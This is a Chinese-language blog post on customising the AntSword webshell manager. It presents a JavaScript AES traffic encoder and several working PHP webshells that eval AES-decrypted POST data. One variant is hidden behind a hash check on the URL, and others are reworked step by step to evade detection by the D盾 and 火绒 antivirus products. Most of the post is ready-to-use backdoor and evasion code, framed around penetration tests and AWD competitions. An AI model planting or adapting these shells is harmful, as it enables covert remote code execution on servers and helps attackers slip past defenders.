早些时候蚁剑,冰蝎大火的时候就说要自己研究定制下,后来因为一些事情耽搁了,最近发现一些有趣的项目,随即就有了学习优秀项目的项目,所以就先研究下日常常用的神器-蚁剑。
蚁剑最出色的地方莫过于开源,方便二次开发。在日常渗透中webshell的流量加密算是一个基本操作了,否则太容易被查杀到了。而蚁剑的编码器和解码器就对流量进行了混淆,但是自带的base64、chr16、rot等太容易被查杀了,所以需要自己定义编码与解码器。
蚁剑编码器与解码器前人栽树后人乘凉,网上已经有现成的了。如果非要定制也可以根据其进行二次修改。
简单看一个aes的加密脚本
function get_cookie(Name, CookieStr="") {
var search = Name + "="
var returnvalue = "";
if (CookieStr.length > 0) {
var sd = CookieStr.indexOf(search);
if (sd!= -1) {
sd += search.length;
var end = CookieStr.indexOf(";", sd);
if (end == -1){
end = CookieStr.length;
}
returnvalue = window.unescape(CookieStr.substring(sd, end));
}
}
return returnvalue;
}
function encryptText(keyStr, text) {
let buff = Buffer.alloc(16, 'a');
buff.write(keyStr,0);
keyStr = buff.toString();
let encodetext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.ZeroPadding,
}).toString();
return encodetext;
}
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 从扩展中获取 shell 配置
let headers = ext.opts.httpConf.headers;
if(!headers.hasOwnProperty('Cookie')) {
window.toastr.error("请先设置 Cookie (大小写敏感), 可通过浏览网站获取Cookie", "错误");
return data;
}
let session_key = "PHPSESSID";
let keyStr = get_cookie(session_key, headers['Cookie']);
if(keyStr.length === 0) {
window.toastr.error("未在 Cookie 中发现PHPSESSID", "错误");
return data;
}
data[pwd] = encryptText(keyStr, data['_']);
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
模块的定制化开发写了一个加密函数和一个获取cookie的函数,通过获取cookie来截取aes加密所需的key值,我们也可以自定义http请求头,来diy自己的编码器
了解原理后
动态免杀也就是流量加密,为了防止被流量分析设备检测,使用对称加密方式或非对称加密是最好的手段,同时返回包也应要加密返回。
<?php
@session_start();
$pwd='ant';
$key=@substr(str_pad(session_id(),16,'a'),0,16);
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
?>
上传这个php马,连接时勾选aes加密
在请求信息中设置cookie
这样请求包和返回包就加密了。
因为在awd比赛中,往往是不希望别人连接自己的shell的,所以简单对shell稍作修改,还可以混淆视听
<?php
$requestUri = $_SERVER['REQUEST_URI'];
@session_start();
$key=@substr(str_pad(session_id(),16,'a'),0,16);
if(md5(substr($requestUri, -10))=="25e107b26e53900575dddf0339a83ca6"){eval(openssl_decrypt(base64_decode($_POST['tan']), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING);}
?>
加完以后在就会获取当前请求url,并截取后面10位跟hash做比对,不对的话就无法使用这个shell后门了,效果如下。
连接时定义好链接和密码就行
自从php7.1以后,那些花里胡哨的变形就没得了,只能直面eval。简单对自己的马子做了下静态免杀
过D盾也是摸索着过的,参考网上文章也有些不太靠谱,在base64_decode和$_post处卡了很长时间,后来借鉴别人的免杀马,直接绕过检测。看其思路并不是绕过字符串检测而是改变其调用过程从而达到的绕过
<?php
class mm
{
public $a = '';
function __destruct(){
eval("$this->a");
}
}
$requestUri = $_SERVER['REQUEST_URI'];
@session_start();
$key=@substr(str_pad(session_id(),16,'a'),0,16);
if(md5(substr($requestUri, -10))=="25e107b26e53900575dddf0339a83ca6"){
$b = new mm;
$b->a = openssl_decrypt(isset($_GET['id'])?$_POST['tan']:base64_decode($_POST['tan']), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING);}
?>
但是呢,有一个很傻逼的问题,绕过了d盾,火绒却查杀了
稍作修改就能过火绒了
if(md5(substr($requestUri, -10))=="25e107b26e53900575dddf0339a83ca6"){
$b = new mm;
$c = "_PO"."ST";
$b->a = openssl_decrypt(base64_decode(${$c}[tan]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING);}
但是D盾却又有告警,吐了。。
蚁剑是一款神器,还有很多东西值得去探索,另外各位走在前沿的师傅是真牛逼!